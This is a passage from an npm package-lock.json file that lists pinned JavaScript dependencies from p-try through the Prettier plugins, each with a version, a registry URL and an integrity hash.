"requires": { "p-limit": "^2.2.0" } }, "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" }, "parse-json": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", "requires": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==" }, "read-pkg": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", "requires": { "@types/normalize-package-data": "^2.4.0", "normalize-package-data": "^2.5.0", "parse-json": "^5.0.0", "type-fest": "^0.6.0" }, "dependencies": { "hosted-git-info": { "version": "2.8.9", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==" }, "normalize-package-data": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", "requires": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", "semver": "2 || 3 || 4 || 5", "validate-npm-package-license": "^3.0.1" } }, "semver": { "version": "5.7.2", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==" }, "type-fest": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==" } } }, "read-pkg-up": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", "requires": { "find-up": "^4.1.0", "read-pkg": "^5.2.0", "type-fest": "^0.8.1" }, "dependencies": { "type-fest": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==" } } }, "semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "requires": { "lru-cache": "^6.0.0" } }, "type-fest": { "version": "0.18.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==" } } }, "merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", "dev": true }, "merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", "dev": true }, "micromark": { "version": "2.11.4", "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", "requires": { "debug": "^4.0.0", "parse-entities": "^2.0.0" }, "dependencies": { "debug": { "version": "4.3.4", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", "requires": { "ms": "2.1.2" } } } }, "micromark-extension-footnote": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/micromark-extension-footnote/-/micromark-extension-footnote-0.3.2.tgz", "integrity": "sha512-gr/BeIxbIWQoUm02cIfK7mdMZ/fbroRpLsck4kvFtjbzP4yi+OPVbnukTc/zy0i7spC2xYE/dbX1Sur8BEDJsQ==", "requires": { "micromark": "~2.11.0" } }, "micromark-extension-frontmatter": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/micromark-extension-frontmatter/-/micromark-extension-frontmatter-0.2.2.tgz", "integrity": "sha512-q6nPLFCMTLtfsctAuS0Xh4vaolxSFUWUWR6PZSrXXiRy+SANGllpcqdXFv2z07l0Xz/6Hl40hK0ffNCJPH2n1A==", "requires": { "fault": "^1.0.0" } }, "micromark-extension-gfm": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-0.3.3.tgz", "integrity": "sha512-oVN4zv5/tAIA+l3GbMi7lWeYpJ14oQyJ3uEim20ktYFAcfX1x3LNlFGGlmrZHt7u9YlKExmyJdDGaTt6cMSR/A==", "requires": { "micromark": "~2.11.0", "micromark-extension-gfm-autolink-literal": "~0.5.0", "micromark-extension-gfm-strikethrough": "~0.6.5", "micromark-extension-gfm-table": "~0.4.0", "micromark-extension-gfm-tagfilter": "~0.3.0", "micromark-extension-gfm-task-list-item": "~0.3.0" } }, "micromark-extension-gfm-autolink-literal": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-0.5.7.tgz", "integrity": "sha512-ePiDGH0/lhcngCe8FtH4ARFoxKTUelMp4L7Gg2pujYD5CSMb9PbblnyL+AAMud/SNMyusbS2XDSiPIRcQoNFAw==", "requires": { "micromark": "~2.11.3" } }, "micromark-extension-gfm-strikethrough": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-0.6.5.tgz", "integrity": "sha512-PpOKlgokpQRwUesRwWEp+fHjGGkZEejj83k9gU5iXCbDG+XBA92BqnRKYJdfqfkrRcZRgGuPuXb7DaK/DmxOhw==", "requires": { "micromark": "~2.11.0" } }, "micromark-extension-gfm-table": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-0.4.3.tgz", "integrity": "sha512-hVGvESPq0fk6ALWtomcwmgLvH8ZSVpcPjzi0AjPclB9FsVRgMtGZkUcpE0zgjOCFAznKepF4z3hX8z6e3HODdA==", "requires": { "micromark": "~2.11.0" } }, "micromark-extension-gfm-tagfilter": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-0.3.0.tgz", "integrity": "sha512-9GU0xBatryXifL//FJH+tAZ6i240xQuFrSL7mYi8f4oZSbc+NvXjkrHemeYP0+L4ZUT+Ptz3b95zhUZnMtoi/Q==" }, "micromark-extension-gfm-task-list-item": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-0.3.3.tgz", "integrity": "sha512-0zvM5iSLKrc/NQl84pZSjGo66aTGd57C1idmlWmE87lkMcXrTxg1uXa/nXomxJytoje9trP0NDLvw4bZ/Z/XCQ==", "requires": { "micromark": "~2.11.0" } }, "micromatch": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", "dev": true, "requires": { "braces": "^3.0.2", "picomatch": "^2.3.1" } }, "mime-db": { "version": "1.38.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.38.0.tgz", "integrity": "sha512-bqVioMFFzc2awcdJZIzR3HjZFX20QhilVS7hytkKrv7xFAn8bM1gzc/FOX2awLISvWe0PV8ptFKcon+wZ5qYkg==" }, "mime-types": { "version": "2.1.22", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.22.tgz", "integrity": "sha512-aGl6TZGnhm/li6F7yx82bJiBZwgiEa4Hf6CNr8YO+r5UHr53tSTYZb102zyU50DOWWKeOv0uQLRL0/9EiKWCog==", "requires": { "mime-db": "~1.38.0" } }, "mimic-fn": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", "dev": true }, "min-indent": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==" }, "minimatch": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "requires": { "brace-expansion": "^1.1.7" } }, "minimist": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" }, "minimist-options": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", "requires": { "arrify": "^1.0.1", "is-plain-obj": "^1.1.0", "kind-of": "^6.0.3" }, "dependencies": { "is-plain-obj": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==" } } }, "mkdirp": { "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", "dev": true, "requires": { "minimist": "^1.2.5" } }, "modify-values": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/modify-values/-/modify-values-1.0.1.tgz", "integrity": "sha512-xV2bxeN6F7oYjZWTe/YPAy6MN2M+sL4u/Rlm2AHCIVGfo2p1yGmBHQ6vHehl4bRTZBdHu3TSkWdYgkwpYzAGSw==" }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" }, "mute-stream": { "version": "0.0.7", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", "dev": true }, "natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, "neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" }, "nice-try": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", "dev": true }, "node-fetch": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", "requires": { "whatwg-url": "^5.0.0" } }, "nopt": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.3.tgz", "integrity": "sha512-CvaGwVMztSMJLOeXPrez7fyfObdZqNUK1cPAEzLHrTybIua9pMdmmPR5YwtfNftIOMv3DPUhFaxsZMNTQO20Kg==", "dev": true, "requires": { "abbrev": "1", "osenv": "^0.1.4" } }, "normalize-package-data": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", "requires": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", "semver": "2 || 3 || 4 || 5", "validate-npm-package-license": "^3.0.1" } }, "npm-normalize-package-bin": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/npm-normalize-package-bin/-/npm-normalize-package-bin-1.0.1.tgz", "integrity": "sha512-EPfafl6JL5/rU+ot6P3gRSCpPDW5VmIzX959Ob1+ySFUuuYHWHekXpwdUZcKP5C+DS4GEtdJluwBjnsNDl+fSA==", "dev": true }, "npm-run-path": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", "dev": true, "requires": { "path-key": "^3.0.0" }, "dependencies": { "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", "dev": true } } }, "object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", "dev": true }, "object-inspect": { "version": "1.12.3", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", "dev": true }, "object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", "dev": true }, "once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "requires": { "wrappy": "1" } }, "onetime": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", "requires": { "mimic-fn": "^2.1.0" }, "dependencies": { "mimic-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" } } }, "optionator": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "requires": { "deep-is": "~0.1.3", "fast-levenshtein": "~2.0.4", "levn": "~0.3.0", "prelude-ls": "~1.1.2", "type-check": "~0.3.2", "wordwrap": "~1.0.0" } }, "ora": { "version": "5.4.1", "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", "requires": { "bl": "^4.1.0", "chalk": "^4.1.0", "cli-cursor": "^3.1.0", "cli-spinners": "^2.5.0", "is-interactive": "^1.0.0", "is-unicode-supported": "^0.1.0", "log-symbols": "^4.1.0", "strip-ansi": "^6.0.0", "wcwidth": "^1.0.1" }, "dependencies": { "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "requires": { "ansi-regex": "^5.0.1" } }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } } } }, "ory-prettier-styles": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/ory-prettier-styles/-/ory-prettier-styles-1.3.0.tgz", "integrity": "sha512-Vfn0G6CyLaadwcCamwe1SQCf37ZQfBDgMrhRI70dE/2fbE3Q43/xu7K5c32I5FGt/EliroWty5yBjmdkj0eWug==", "dev": true }, "os-homedir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", "integrity": "sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==", "dev": true }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" }, "osenv": { "version": "0.1.5", "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", "dev": true, "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" } }, "ospath": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz", "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=", "dev": true }, "p-limit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", "requires": { "p-try": "^1.0.0" } }, "p-locate": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", "requires": { "p-limit": "^1.1.0" } }, "p-map": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", "dev": true, "requires": { "aggregate-error": "^3.0.0" } }, "p-try": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=" }, "parse-entities": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", "requires": { "character-entities": "^1.0.0", "character-entities-legacy": "^1.0.0", "character-reference-invalid": "^1.0.0", "is-alphanumerical": "^1.0.0", "is-decimal": "^1.0.0", "is-hexadecimal": "^1.0.0" } }, "parse-json": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", "requires": { "error-ex": "^1.3.1", "json-parse-better-errors": "^1.0.1" } }, "path-exists": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=" }, "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" }, "path-is-inside": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", "dev": true }, "path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", "dev": true }, "path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, "path-to-regexp": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-3.2.0.tgz", "integrity": "sha512-jczvQbCUS7XmS7o+y1aEO9OBVFeZBQ1MDSEqmO7xSoPgOPoowY/SxLpZ6Vh97/8qHZOteiCKb7gkG9gA2ZUxJA==" }, "path-type": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", "dev": true }, "pend": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", "dev": true }, "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", "dev": true }, "picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true }, "pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" }, "pkg-conf": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/pkg-conf/-/pkg-conf-2.1.0.tgz", "integrity": "sha1-ISZRTKbyq/69FoWW3xi6V4Z/AFg=", "dev": true, "requires": { "find-up": "^2.0.0", "load-json-file": "^4.0.0" } }, "pkg-config": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/pkg-config/-/pkg-config-1.1.1.tgz", "integrity": "sha1-VX7yLXPaPIg3EHdmxS6tq94pj+Q=", "dev": true, "requires": { "debug-log": "^1.0.0", "find-root": "^1.0.0", "xtend": "^4.0.1" } }, "pkg-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "requires": { "find-up": "^2.1.0" } }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", "dev": true }, "prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true }, "prettier": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.7.1.tgz", "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g==", "dev": true }, "prettier-plugin-packagejson": { "version": "2.2.18", "resolved": "https://registry.npmjs.org/prettier-plugin-packagejson/-/prettier-plugin-packagejson-2.2.18.tgz", "integrity": 